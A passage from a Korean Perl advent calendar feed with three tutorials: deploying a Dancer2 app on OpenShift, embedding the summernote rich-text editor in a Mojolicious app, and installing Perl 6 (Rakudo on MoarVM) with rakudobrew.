<p>마지막으로 <strong>OpenShift</strong> 애플리케이션에 내 <strong>Dancer2</strong> 코드를 업로드하기 위해 <code>git</code>이 필요합니다.
<a href="https://git-scm.com/">Git 홈페이지</a>의 안내를 참조하여 설치합니다.</p>
<h2>절차</h2>
<p><strong>OpenShift</strong> 웹 사이트를 만드는 절차는 다음과 같습니다.</p>
<ol>
<li><strong>OpenShift</strong> 애플리케이션을 생성</li>
<li><strong>OpenShift</strong> 애플리케이션에 <strong>Dancer2</strong> 환경 설정</li>
<li>내가 만든 웹 애플리케이션 코드를 <strong>OpenShift</strong> 애플리케이션에 적용</li>
<li>도메인 네임 설정</li>
</ol>
<h2 id="openshift">OpenShift 애플리케이션 생성</h2>
<p><strong>OpenShift</strong> 애플리케이션은 <strong>Open PaaS</strong> 웹 사이트에서도 만들 수 있습니다만, <code>rhc</code> 명령을 이용하겠습니다.
우리는 DIY(Do It Yourself) 카트리지를 선택합니다.
DIY 카트리지로 <strong>OpenShift</strong> 애플리케이션을 만들고 그 안에 수작업으로 <strong>Dancer2</strong> 환경을 만듭니다.</p>
<pre class="brush: bash;">
$ rhc setup
OpenShift Client Tools (RHC) Setup Wizard
This wizard will help you upload your SSH keys, set your application namespace, and check that other programs like Git are properly installed.
If you have your own OpenShift server, you can specify it now. Just hit enter to use:
</pre>
<p>프롬프트가 나오면 <code>broker.cloud.or.kr</code>를 입력합니다.
<code>broker.cloudsc.kr</code>을 넣으면 안 됩니다.
아이디와 비밀번호는 <strong>Open PaaS</strong> 웹 사이트 가입 시 사용한 정보를 이용합니다.</p>
<h2 id="openshiftdancer2">OpenShift 애플리케이션에 Dancer2 환경 설정</h2>
<p>아래 명령으로 앱을 생성합니다.</p>
<pre class="brush: bash;">
$ rhc create-app -a APPNAME diy
</pre>
<p>아래 명령으로 <strong>OpenShift</strong> 애플리케이션에 <code>ssh</code>로 접속합니다.</p>
<pre class="brush: bash;">
$ rhc ssh -a APPNAME
</pre>
<p>새로운 버전의 Perl을 설치합니다.
필요하다면 <a href="http://perlbrew.pl/">perlbrew</a>든 <a href="https://github.com/tokuhirom/plenv">plenv</a>이든 자신에게 적절한 방법을 사용합니다.</p>
<pre class="brush: bash;">
$ echo $HOME
/var/lib/openshift/57f7b04189418bd3240007bd/
$ export HOME=/var/lib/openshift/57f7b04189418bd3240007bd # HOME 변수의 값에서 맨 뒤에 /를 삭제합니다
$ cd ~/app-root/data/
$ mkdir download
$ cd download
$ wget -c -nd http://www.cpan.org/src/5.0/perl-5.24.0.tar.xz
$ xzcat -dc perl-5.24.0.tar.xz | tar xf -
$ cd perl-5.24.0
$ ./Configure -des -Dprefix=~/app-root/data/perl-new
$ make # 컴파일 하는데 시간이 좀 걸립니다
$ make install
$ cd ~/app-root/data/perl-new/bin
$ ./perl -v # Perl 5.24.0 설치를 확인합니다
</pre>
<p><strong>Plack</strong>과 <strong>Dancer2</strong> 모듈을 설치합니다.</p>
<pre class="brush: perl;">
$ HOME=~/app-root/data ~/app-root/data/perl-new/bin/perl cpan
notest install Dancer2 Plack # prompt는 cpan 1 이라고 나올겁니다. notest부터 입력하면 됩니다
quit
</pre>
<h2 id="openshift">내가 만든 웹 애플리케이션 코드를 OpenShift 애플리케이션에 적용</h2>
<p><strong>OpenShift</strong> 애플리케이션의 git 저장소 주소와 웹 사이트 URL을 확인 후 저장소의 내용을 내려 받습니다.
예제의 경우 <code>dancer2</code>라는 디렉토리가 생성됐습니다.</p>
<pre class="brush: bash;">
$ rhc apps
dancer2 @ http://dancer2-imyaman.cloud.or.kr/
... 생략 ...
Git URL: ssh://5d@dancer2-imyaman.cloud.or.kr/~/git/dancer2.git/
$ git clone ssh://5d@dancer2-imyaman.cloud.or.kr/~/git/dancer2.git
</pre>
<p>준비한 예제를 다운로드 받습니다.
먼저 받아온 저장소에 필요한 파일 몇 개를 복사합니다.</p>
<pre class="brush: bash;">
$ git clone https://github.com/imyaman/OpenShift-DIY-Perl-Dancer2.git
$ rm -rf dancer2/diy/*
$ cp -R OpenShift-DIY-Perl-Dancer2/diy/* dancer2/diy/
$ cp OpenShift-DIY-Perl-Dancer2/.openshift/action_hooks/start dancer2/.openshift/action_hooks/
$ cp OpenShift-DIY-Perl-Dancer2/.openshift/action_hooks/stop dancer2/.openshift/action_hooks/
$ cd dancer2
$ git commit -a -m 'Thank you, Sangyong Gwak'
$ git push
</pre>
<p>짠~ 이제 웹 브라우저로 웹 사이트에 방문해보세요. ;-)</p>
<p><img src="2016-12-05-1_r.png" alt="PaaS에 올린 Dancer2 웹 응용" id="paasdancer2" />
<em>그림 1.</em> PaaS에 올린 Dancer2 웹 응용 (<a href="2016-12-05-1.png">원본</a>)</p>
<p>웹 서비스를 종료할 때와 시작할 때는 다음의 명령을 이용합니다.</p>
<pre class="brush: bash;">
$ rhc app-stop dancer2 # 웹 서비스 종료
$ rhc app-start dancer2 # 웹 서비스 시작
</pre>
<h2>도메인 네임 설정</h2>
<p>개인적으로 보유한 도메인 네임이 없다면 기본으로 부여되는 주소인 <code>http://dancer2-imyaman.cloud.or.kr/</code>를 이용해도 됩니다.
별도의 도메인 네임을 보유하고 있다면, 도메인 네임 설정에 다음 내용을 추가합니다.</p>
<pre class="brush: plain;">
CNAME openshift-perl-dancer2 APPNAME-imyaman.cloud.or.kr
</pre>
<p>그리고 <strong>OpenShift</strong>에 도메인 네임을 설정합니다.</p>
<pre class="brush: bash;">
$ rhc alias add APPNAME yourdomainname.youre.space
</pre>
<h2>나머지</h2>
<p><code>OpenShift-DIY-Perl-Dancer2</code> 디렉토리는 더 이상 필요 없으니 삭제합니다.
앞으로는 <strong>OpenShift</strong> 애플리케이션 저장소의 <code>diy</code> 디렉토리에서 원하는 것을 만들어 넣으면 됩니다.
<code>app.pl</code> 파일을 먼저 살펴보세요.</p>
<pre class="brush: plain;">
diy/
app.pl
config.yml
public/
mobile.html
views/
index.tt
</pre>
<h2>정리하며</h2>
<p><strong>OpenShift</strong> 말고 <a href="https://www.heroku.com/">CloudFoundry</a>나 <a href="https://www.cloudfoundry.org/">Heroku</a>용 <strong>Dancer2</strong> 빌드팩도 있으니 한 번 참고해보세요.</p>
<ul>
<li><a href="https://github.com/imyaman/sourcey-buildpack">CloudFoundry용 Dancer2 빌드팩</a></li>
<li><a href="https://github.com/imyaman/heroku-buildpack-perl">Heroku용 Dancer2 빌드팩</a></li>
</ul>
<p>DIY 카트리지 말고 <strong>Plack</strong> 카트리지가 있는데, 잘 동작하지 않습니다.
아무래도 수정이 좀 필요할 것 같네요.
<strong>Plack</strong> 수정이 끝나면 새 글로 소개하겠습니다. :-)</p>
<p><em>EOT</em></p>
2016-12-05T00:00:00+09:00imyaman진짜 쉬운 위지위그 에디터: summernotehttp://advent.perl.kr/2016/2016-12-04.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/keedi">@keedi</a> - Seoul.pm 리더, Perl덕후,
<a href="http://www.yes24.com/24/goods/4433208">거침없이 배우는 펄</a>의 공동 역자, keedi.k <em>at</em> gmail.com</p>
<h2>시작하며</h2>
<p>웹 응용을 제작하다보면 사용자의 필연적으로 사용자의 입력을 받아 들여야 합니다.
이런 입력 중 긴 문자열의 경우 보통 <code>textarea</code> 태그를 이용하는데,
아무래도 가장 기본적인 입력 도구인 만큼 서식이 필요한 문자열을 입력 받기에는 부족한 점이 많습니다.
그래서 서식있는 문자열 입력 및 편집을 위해 수 많은 HTML 편집기가 있습니다만,
이 중에서도 국내산(?) 오픈소스로 가벼우면서도, 꼭 필요한 기능들을 담고 있는
<a href="http://getbootstrap.com/">Bootstrap</a> 기반의 잘 만들어진 <a href="http://summernote.org/">summernote</a> 편집기를
<a href="http://mojolicious.org/">Mojolicious</a>와 연동해서 사용해보도록 하죠.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/Mojolicious">CPAN의 Mojolicious 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan Mojolicious
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan Mojolicious
</pre>
<h2>뼈대 만들기</h2>
<p>우선 기본 뼈대를 만듭니다.</p>
<pre class="brush: bash;">
$ mojo generate lite_app summernote-web.pl
[exist] /home/askdna/workspace/summernote
[write] /home/askdna/workspace/summernote/summernote-web.pl
[chmod] /home/askdna/workspace/summernote/summernote-web.pl 744
$
</pre>
<p>생성한 <code>summernote-web.pl</code> 코드를 약간 수정해서 우선 사용자의 입력을 받을 수 있도록 해보죠.
<code>http://.../e/<page_id></code> 형식의 주소에 접근할 수 있도록 컨트롤러를 만듭니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use Mojolicious::Lite;
get "/e/:page_id" => sub {
my $c = shift;
my $page_id = $c->param("page_id");
$c->render(
template => "edit",
title => "$page_id",
markup_text => "<p>Hello Summernote!</p>",
);
};
app->start;
__DATA__
...
</pre>
<p><a href="http://summernote.org/">summernote</a> 편집기는 <a href="http://getbootstrap.com/">Bootstrap</a> 기반의 HTML 편집기입니다.
따라서 사용하려면 우선적으로 <a href="https://jquery.com/">jQuery</a>와 <a href="http://getbootstrap.com/">Bootstrap</a>을
<a href="http://mojolicious.org/">Mojolicious</a> 웹 응용 측에서 사전 적재를 해야 합니다.
편의를 위해 레이아웃 템플릿 쪽에서 필요한 라이브러리는 CDN 주소를 이용합니다.
더불어 Bootstrap의 기본 레이아웃을 따르기 위해 그리드로 적당히 요소를 배치합니다.</p>
<pre class="brush: perl;">
...
app->start;
__DATA__
@@ layouts/default.html.ep
<!DOCTYPE html>
%= tag html => ( lang => "ko" ) => begin
%= tag head => begin
%= tag meta => charset => "UTF-8"
%= tag title => $title
%= stylesheet "http://netdna.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.css"
%= javascript "http://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.js"
%= javascript "http://netdna.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.js"
%= stylesheet begin
[name="article"] {
width: 100%;
height: 320px;
}
% end
% end
%= tag body => begin
%= tag div => ( class => "container" ) => begin
%= tag div => ( class => "content" ) => begin
<%= content %>
% end
% end
% end
% end
</pre>
<p>컨트롤러를 통해 실제로 편집할 화면 부분도 다음과 갈이 추가합니다.</p>
<pre class="brush: perl;">
...
__DATA__
@@ layouts/default.html.ep
...
@@ edit.html.ep
% layout "default";
% title $title . " - Edit";
%= tag div => ( class => "row" ) => begin
%= tag div => ( class => "col-xs-12" ) => begin
%= tag h1 => $title
<%= text_area article => begin %><%== $markup_text %><% end %>
%= tag div => begin
<button class="btn btn-danger" type="button" id="article-reset">지우기</button>
<button class="btn btn-primary" type="button" id="article-save">저장</button>
% end
% end
% end
</pre>
<p>보시다시피 기본 뼈대 코드에 특별한 부분은 없습니다.
실행하면 로컬 장비의 <code>3000</code>번 포트에 웹 응용이 실행됩니다.</p>
<pre class="brush: bash;">
$ morbo summernote-web.pl
Server available at http://127.0.0.1:3000
...
</pre>
<p><code>HelloWorld</code> 페이지를 수정한다고 가정하고 <code>http://localhost:3000/e/HelloWorld</code>로 접속해보죠.</p>
<p><img src="2016-12-04-1_r.png" alt="기본 레이아웃" id="" />
<em>그림 1.</em> 기본 레이아웃 (<a href="2016-12-04-1.png">원본</a>)</p>
<h2 id="summernote">summernote 장착</h2>
<p>jQuery와 Bootstrap을 적재한 상태라면 summernote를 장착하는 일은 식은 죽 먹기입니다.
우선 마찬가지로 CSS와 자바스크립트를 적재해야겠죠.
편의를 위해 summernote 역시 CDN 주소를 이용합니다.
CDN 주소는 다음과 같습니다.</p>
<ul>
<li>http://cdnjs.cloudflare.com/ajax/libs/summernote/0.8.2/summernote.css</li>
<li>http://cdnjs.cloudflare.com/ajax/libs/summernote/0.8.2/summernote.js</li>
</ul>
<p>현 시점 기준 <a href="https://github.com/summernote/summernote/tree/v0.8.2">summernote의 최신 안정 버전은 <code>0.8.2</code></a>입니다.
CDN을 이용한다면 URL에서 버전 번호만 적절하게 변경해서 다른 버전을 사용할 수 있습니다.
템플릿에 summernote의 스타일시트와 자바스크립트를 적재합니다.</p>
<pre class="brush: perl;">
@@ layouts/default.html.ep
...
%= stylesheet "http://netdna.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.css"
%= stylesheet "http://cdnjs.cloudflare.com/ajax/libs/summernote/0.8.2/summernote.css
%= javascript "http://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.js"
%= javascript "http://netdna.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.js"
%= javascript "http://cdnjs.cloudflare.com/ajax/libs/summernote/0.8.2/summernote.js
...
</pre>
<p>마지막으로 <code>textarea</code> 요소를 summernote화 시켜주면 됩니다.
기존 <code>edit.html.ep</code> 템플릿의 끝 부분에 자바스크립트 섹션을 추가합니다.</p>
<pre class="brush: perl;">
__DATA__
@@ edit.html.ep
...
%= tag div => ( class => "row" ) => begin
%= tag div => ( class => "col-xs-12" ) => begin
...
% end
% end
%= javascript begin
$(document).ready(function() {
$('textarea[name="article"]').summernote({
height: 320
});
});
% end
</pre>
<p>해당 요소를 지칭하기 위해 <code>textarea[name="article"]</code> CSS 선택자를 사용했으며,
기존 CSS 영역의 높이가 적용되지 않으므로 별도의 인자로 높이를 지정합니다.
사실 summernote를 사용할 경우 입력 영역이 꼭 <code>textarea</code> 요소일 필요가 없습니다.
<code>div</code>요소라 하더라도 알아서 입력 가능한 영역으로 바꿔주므로,
어떤 요소를 사용해서 입력을 받을지는 상황에 맞게 선택하세요.</p>
<p><img src="2016-12-04-2_r.png" alt="summernote 장착" id="summernote" />
<em>그림 2.</em> summernote 장착 (<a href="2016-12-04-2.png">원본</a>)</p>
<p>라이브러리 적재에, 해당 HTML 요소를 초기화 시키는 것 만으로도 꽤 그럴듯한 편집 영역이 생성되었죠? :)</p>
<h2>내용 저장하기</h2>
<p>아무래도 자바스크립트 기반의 편집기인 만큼 자바스크립트와 분리하기 어려운 만큼,
기본적으로 자바스크립트를 사용하는 것을 전제로 하고 있습니다.
필수 라이브러리가 jQuery와 Bootstrap이니 이는 당연한 일입니다.
따라서 어짜피 자바스크립트를 사용하고 있는 만큼 내용 저장시에도 필요하다면
충분히 자바스크립트를 활용해서 다양한 사용자 경험을 제공하는 것에 부담가질 필요는 없을 것 같습니다.
우선 입력 영역 부분의 가장 기본적인 조작은 사용자가 입력한 자료를 불러오거나, 덮어쓰는 것이겠죠.
<strong>지우기</strong> 버튼을 클릭했을 경우 입력 영역의 내용을 지워봅시다.
입력 영역의 값을 쓰는 메소드는 <code>code</code>이며, 인자로 빈 문자열을 넘겨주면 내용을 모두 지웁니다.</p>
<pre class="brush: perl;">
@@ edit.html.ep
...
%= javascript begin
$(document).ready(function() {
$('textarea[name="article"]').summernote({
height: 320
});
$("#article-reset").on("click", function () {
$('textarea[name="article"]').summernote("code", "");
});
});
% end
</pre>
<p><strong>저장</strong> 버튼을 클릭했을 경우 입력 영역의 내용을 확보하려면 어떻게 해야할까요?
값을 얻어오는 메소드 역시 <code>code</code>이며, 아무 인자도 넘겨주지 않으면 입력 영역의 내용을 반환합니다.</p>
<pre class="brush: perl;">
@@ edit.html.ep
...
%= javascript begin
$(document).ready(function() {
$('textarea[name="article"]').summernote({
height: 320
});
$("#article-reset").on("click", function () {
$('textarea[name="article"]').summernote("code", "");
});
$('#article-save').on("click", function () {
var markupStr = $('textarea[name="article"]').summernote('code');
// do something with markupStr
// ...
});
});
% end
</pre>
<h2>크리스마스 선물 #1: 지역 설정</h2>
<p>summernote는 무려 40여개의 지역 언어를 지원합니다.
한국 발 오픈소스인 만큼 당연히 한국어도 지원하죠.
특정 지역 언어로 로컬을 변경하려면 해당 지역의 자바스크립트를 적재하고,
개체를 생성하는 시점에 <code>lang</code> 속성을 추가합니다.
간단하죠? :)</p>
<pre class="brush: perl;">
__DATA__
@@ edit.html.ep
...
%= javascript begin
$(document).ready(function() {
$('textarea[name="article"]').summernote({
lang: 'ko-KR', // default: 'en-US'
height: 320
});
...
});
% end
@@ layouts/default.html.ep
<!DOCTYPE html>
...
%= javascript "http://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.js"
%= javascript "http://netdna.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.js"
%= javascript "http://cdnjs.cloudflare.com/ajax/libs/summernote/0.8.2/summernote.js"
%= javascript "http://cdnjs.cloudflare.com/ajax/libs/summernote/0.8.2/lang/summernote-ko-KR.js"
...
</pre>
<h2>크리스마스 선물 #2: 붙여 넣기</h2>
<p>summernote는 브라우저의 붙여 넣기 기능을 꽤 잘 지원하기 때문에 웹 상의 서식있는 문서를
긁어서 복사한 다음 붙여 넣을 경우에도 정말 딱 원하는 만큼의 결과로 보여줍니다.
다만, 브라우저의 클립보드 복사 및 붙여 넣기 동작의 특성 상
CSS 내용을 인라인으로 요소내에 일일이 붙여 넣기 때문에,
붙여넣은 자료의 HTML 내용이 꽤나 번잡하다는 단점이 있습니다.</p>
<p><img src="2016-12-04-3_r.png" alt="서식있는 HTML 붙여넣기" id="html" />
<em>그림 3.</em> 서식있는 HTML 붙여넣기 (<a href="2016-12-04-3.png">원본</a>)</p>
<p>이를 해결하려면, 붙여넣는 시점에 각 요소의 속성을 점검해 그 중 인라인 스타일 시트를 제거해야 합니다.
summernote는 이벤트를 구조적으로 잘 지원하고 있으므로, 붙여넣기 이벤트를
연결해서 불필요한 태그 요소의 속성 값을 바꾼다던가,
또는 태그 자체를 제거한다던가 등, 간편하게 후처리가 가능합니다.</p>
<pre class="brush: perl;">
__DATA__
@@ edit.html.ep
...
%= javascript begin
$(document).ready(function() {
$('textarea[name="article"]').summernote({
lang: 'ko-KR', // default: 'en-US'
height: 320,
callbacks: {
onPaste: function(e, ne) {
var markupTextWithStyle = ((e.originalEvent || e).clipboardData || window.clipboardData).getData('text/html');
var $html = $($.parseHTML(markupTextWithStyle));
$html.find("*").addBack().each(function(idx, val) {
var $item = $(val);
$item.removeAttr("style");
});
e.preventDefault();
var markupText = $html[0].outerHTML;
$('textarea[name="article"]').summernote('code', markupText);
}
}
});
...
% end
...
</pre>
<p>조금 복잡해보이지만, 찬찬히 뜯어보면 그렇게 어려운 내용은 아닙니다.
summernote의 붙여넣기 이벤트에 연결하기 위해 <code>callbacks</code> 속성을 추가했으며,
이 중 <code>onPaste</code>에 자바스크립트 함수를 연결합니다.
이 후 클립보드의 자료를 HTML 형식으로 가져오고,
jQuery와 DOM을 활용해 각각의 요소에 있는 <code>style</code> 속성을 모두 제거합니다.
이 후 summernote의 기본 붙여넣기 이벤트 동작을 중단시키고
직접 변경한 내용을 입력 영역에 붙여 넣는 것입니다.</p>
<p><img src="2016-12-04-4_r.png" alt="인라인 스타일시트 제거" id="" />
<em>그림 4.</em> 인라인 스타일시트 제거 (<a href="2016-12-04-4.png">원본</a>)</p>
<p>완전 깔끔해졌죠? ;-)</p>
<h2>정리하며</h2>
<p>웹 응용을 작성하다보면 사용자의 입력을 받아들여야 하는 일은 일상입니다.
HTML은 이미 이 모든 기능을 수십년 전부터 지원하고 있었지만,
세상은 너무도 빨리 변했고, 기본 기능만으로는 사용자의 요구를 만족시키지 쉽지 않은 것이 사실입니다.
<a href="http://summernote.org/">summernote</a>는 간결하지만 미려하게 잘 만들어진 편집기로,
대부분의 경우 원하는 요구 수준을 잘 만족시켜 줄 것입니다.
summernote와 Perl / <a href="http://mojolicious.org/">Mojolicious</a>를 조합해서 손쉽게 사용자의 입력을 받아보세요. :)</p>
<p><em>EOT</em></p>
2016-12-04T00:00:00+09:00keediPerl 6 설치 어렵지 않아요!http://advent.perl.kr/2016/2016-12-03.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/keedi">@keedi</a> - Seoul.pm 리더, Perl덕후,
<a href="http://www.yes24.com/24/goods/4433208">거침없이 배우는 펄</a>의 공동 역자, keedi.k <em>at</em> gmail.com</p>
<h2>시작하며</h2>
<p>2015년 12월 24일이 Perl 6의 공식 안정 릴리스였으니 벌써 발표된지 1년이 흘렀습니다.
Perl의 다양성은 Perl 6에도 그대로 적용이 되는데 <strong>Perl 6</strong>라는 명칭은 언어 명세 그 자체를 의미하며,
이를 구현한 구현체, 즉 컴파일러 또는 인터프리터가 얼마든지 존재할 수 있는 것이죠.
더욱 흥미로운 것은 이런 다양한 구현체들과 이 구현체가 실행되는 공간을 분리했다는 것입니다.
즉, 이 구현체는 가상 머신(VM) 위에서 돌아가는데, 2000년도 초창기에는 <a href="http://www.parrot.org/">Parrot</a> 하나였지만,
현재는 JVM과 <a href="https://github.com/sorear/niecza">.NET</a> 등 다양한 가상 머신 개발이 진행되고 있습니다.
조금 서론이 복잡했는데, 이제는 슬슬 Perl 6를 자신의 장비에 설치해서
이것저것 만져보며 Perl 6를 탐험해보는 것도 재미있을 것 같네요.</p>
<h2>준비물</h2>
<p>리눅스 기준 필요한 명령은 다음과 같습니다.</p>
<ul>
<li><code>perl</code></li>
<li><code>git</code></li>
<li>컴파일 툴체인</li>
</ul>
<p>데비안 계열의 리눅스를 사용하고 있다면 다음 명령을 이용해서 패키지를 설치합니다.
perl 패키지는 보통 기본으로 설치되어 있으므로 따로 설치할 필요는 없습니다.</p>
<pre class="brush: bash;">
$ sudo apt-get install perl git build-essential
</pre>
<h2 id="rakudobrew">rakudobrew 설치</h2>
<p>앞에서 이것 저것 복잡하게 설명했습니다만 간단히 정리하면,
Perl 6는 명세로써 <code>v6.c</code>가 현재 안정 버전입니다.
더불어 2016년 현재 가장 완성도가 높은 구현체는 <a href="http://rakudo.org/">Rakudo</a>,
VM은 <a href="http://www.moarvm.org/">MoarVM</a>이니 우리에게 필요한 것은 <strong>Rakudo + MoarVM</strong>입니다. :-)
가장 손쉽게 Rakudo를 설치하는 방법은 <a href="https://github.com/tadzik/rakudobrew">rakudobrew</a>를 사용하는 것입니다.
rakudobrew를 설치하는 명령은 다음과 같습니다.</p>
<pre class="brush: bash;">
$ git clone https://github.com/tadzik/rakudobrew ~/.rakudobrew
'/home/askdna/.rakudobrew'에 복제합니다...
remote: Counting objects: 742, done.
remote: Total 742 (delta 0), reused 0 (delta 0), pack-reused 742
오브젝트를 받는 중: 100% (742/742), 158.76 KiB | 158.00 KiB/s, 완료.
델타를 알아내는 중: 100% (327/327), 완료.
$
</pre>
<p>설치 후에는 rakudobrew 설치 경로를 PATH에 등록합니다.</p>
<pre class="brush: bash;">
$ export PATH=~/.rakudobrew/bin:$PATH
</pre>
<p>필요하다면 사용하는 쉘의 환경 설정 파일에 PATH 설정 내역을 영구적으로 추가하도록 합니다.
Bash쉘을 사용한다면 다음 명령을 실행해서 <code>.bashrc</code> 파일에 등록하세요.</p>
<pre class="brush: bash;">
$ echo 'export PATH=~/.rakudobrew/bin:$PATH' >> ~/.bashrc
</pre>
<p>설치에 문제가 없었다면 명령줄에서 <code>rakudobrew</code>를 실행해보세요.</p>
<pre class="brush: bash;">
$ rakudobrew
Usage:
rakudobrew current
rakudobrew list-available
rakudobrew build jvm|moar|moar-blead|all [tag|branch|sha-1] [--configure-opts=]
rakudobrew build panda [panda-ver]
rakudobrew build zef
rakudobrew triple [rakudo-ver [nqp-ver [moar-ver]]]
rakudobrew rehash
rakudobrew switch jvm|moar|moar-blead
rakudobrew nuke jvm|moar|moar-blead
rakudobrew self-upgrade
rakudobrew test [jvm|moar|moar-blead|all]
rakudobrew exec <command> [command-args]
rakudobrew init
rakudobrew shell [--unset|version]
rakudobrew local [version]
rakudobrew global [version]
rakudobrew version
rakudobrew versions # or rakudobrew list
rakudobrew which <command>
rakudobrew whence [--path] <command>
$
</pre>
<p>Perl 6를 설치할 모든 준비가 끝났습니다!</p>
<h2 id="rakudomoarvmperl6">Rakudo + MoarVM = Perl 6</h2>
<p>설치한 <code>rakudobrew</code>는 Perl 6의 여러 구현체 중 Rakudo를 목표(target)로 하므로,
이제 Rakudo가 지원하는 VM 종류만 선택하면 됩니다.
현재 <code>rakudobrew</code>는 JVM과 <a href="http://www.moarvm.org/">MoarVM</a>을 선택해서 빌드할 수 있습니다.
오래 전 마지막으로 Perl 6를 기억하던 몽거스라면,
"엇 아니! Perl 6는 <a href="http://www.parrot.org/">Parrot</a>을 쓰는 것 아니야?"라고 떠올릴텐데요.
기술적으로 복잡한 사정이 있는데, 기존 Rakudo가 사용하던 Parrot의 경우
2015년 기준으로 Rakudo 측에서는 지원을 중단했으며,
MoarVM을 기본으로 사용하는 것으로 바뀌었습니다.
MoarVM은 "Metamodel On A Runtime"의 약자로 기존 Parrot의 위치를 담당한다고 보면 됩니다.
JVM도 지원하니 어느 쪽을 선택할지는 여러분의 몫입니다만,
아마 대부분의 경우는 가벼운 MoarVM을 사용할 것으로 보입니다.
자, 이제 Rakudo와 MoarVM을 더하는 연금술을 시전해 Perl 6를 만들어볼까요?</p>
<pre class="brush: bash;">
$ rakudobrew build moar
Update git reference: rakudo
'rakudo'에 복제합니다...
...
Update git reference: nqp
'nqp'에 복제합니다...
...
Update git reference: MoarVM
'MoarVM'에 복제합니다...
...
'moar-nom'에 복제합니다...
...
Building NQP ...
/usr/bin/perl Configure.pl --prefix=/home/askdna/.rakudobrew/moar-nom/install --backends=moar --make-install --git-protocol=https --git-reference=/home/askdna/.rakudobrew/bin/../git_reference --gen-moar
...
'MoarVM'에 복제합니다...
...
Configuring and building MoarVM ...
/usr/bin/perl Configure.pl --optimize --prefix=/home/askdna/.rakudobrew/moar-nom/install --make-install
Welcome to MoarVM!
...
NQP has been built and installed.
Using /home/askdna/.rakudobrew/moar-nom/install/bin/nqp-m (version 2016.12-13-gd0b13814 / MoarVM 2016.12-6-g65acd555).
Cleaning up ...
...
cp -- /home/askdna/.rakudobrew/moar-nom/install/bin/perl6-m /home/askdna/.rakudobrew/moar-nom/install/bin/perl6
chmod -- 755 /home/askdna/.rakudobrew/moar-nom/install/bin/perl6
Rakudo has been built and installed.
Updating shims
Switching to moar-nom
Done, moar-nom built
$
</pre>
<p>명령줄에서 실행하고 나면 약간의 메시지를 출력한 다음 가장 최신의 Perl 6 설치가 완료됩니다.
<code>perl6</code> 실행 파일의 경로를 찾는데 문제가 없다면 성공적으로 설치한 것입니다.</p>
<pre class="brush: bash;">
$ which perl6
/home/askdna/.rakudobrew/bin/perl6
$
</pre>
<p><code>rakudobrew</code> 명령을 이용해서 설치된 상태를 확인할 수도 있습니다.</p>
<pre class="brush: bash;">
$ rakudobrew list
* moar-nom
$
</pre>
<p>특정 버전의 Rakudo 버전을 설치하려면 <code>triple</code> 명령을 사용합니다.
이 때는 Rakudo 버전과 NQP (Not Quite Perl) 버전, MoarVM 버전까지 모두 명시할 수 있습니다.
보통 매달 릴리스되고 있으므로 2016년 12월 버전으로 설치한다면
다음 명령을 입력합니다.</p>
<pre class="brush: bash;">
# rakudobrew triple [rakudo-ver [nqp-ver [moar-ver]]]
$ rakudobrew triple 2016.12 2016.12 2016.12
...
$ rakudobrew list
moar-2016.12-2016.12-2016.12
* moar-nom
$ rakudobrew switch moar-2016.12-2016.12-2016.12
Switching to moar-2016.12-2016.12-2016.12
$ rakudobrew list
* moar-2016.12-2016.12-2016.12
moar-nom
$
</pre>
<p>아직까지 특별한 목적없이 Perl 6를 체험해보려는 단계의
대부분의 경우라면 <code>rakudobrew build moar</code> 명령으로 충분할 것입니다. :-)</p>
<h2>설치 팁 #1</h2>
<p><a href="https://www.virtualbox.org/">VirtualBox</a>와 같은 가상 환경에서 직접 <strong>Perl 6 / Rakudo / MoarVM</strong>을 빌드하는 경우
메모리가 부족하면 빌드 및 설치 단계에서 실패할 수 있으므로 메모리를 1.5GB 이상 확보해야 합니다.</p>
<pre class="brush: bash;">
...
/home/askdna/.rakudobrew/moar-nom/install/bin/moar --libpath="/home/askdna/.rakudobrew/moar-nom/install/share/nqp/lib" --libpath="/home/askdna/.rakudobrew/moar-nom/install/share/nqp/lib" perl6.moarvm --nqp-lib=blib --setting=NULL --ll-exception --optimize=3 --target=mbc --stagestats --output=CORE.setting.moarvm gen/moar/CORE.setting
Stage start : 0.000
Stage parse : 68.303
Stage syntaxcheck: 0.000
Stage ast : 0.000
Stage optimize : 8.730
Stage mast : (메모리 부족으로 실패)
</pre>
<p>간단히 메모리를 1.5GB 이상으로 높여주면 문제를 해결할 수 있습니다.
물론 이미 빌드한 바이너리를 실행하는 경우라면 이 정도의 메모리가 필요하지는 않습니다. :)</p>
<h2>설치 팁 #2</h2>
<p>빌드한 Rakudo를 이용해 Perl 6를 마음껏 가지고 놀다보면, 상태를 처음으로 되돌리고 싶을 때도 있습니다.
이 때는 간단히 설치한 디렉터리를 제거하고 새롭게 설치하면 됩니다.</p>
<pre class="brush: bash;">
$ rm -rf ~/.rakudobrew/moar-nom
$
</pre>
<p>하지만 매번 동일한 빌드 작업을 수행한다는 것은 번거로운 일이죠.
최초 설치 후 <code>~/.rakudobrew</code> 디렉터리 또는 <code>~/.rakudobrew/moar-nom</code> 디렉터리를
압축해서 백업한 뒤 보관한다면 간단히 Perl 6의 상태를 보존할 수 있답니다.</p>
<pre class="brush: bash;">
$ tar cvzf rakudobrew.tar.gz ~/.rakudobrew
$
</pre>
<h2>정리하며</h2>
<p>Perl 6를 설치하는 일은 생각보다 어렵지 않습니다.
무엇보다 시스템 관리자 권한 없이 간단히 빌드가 가능하기 때문에
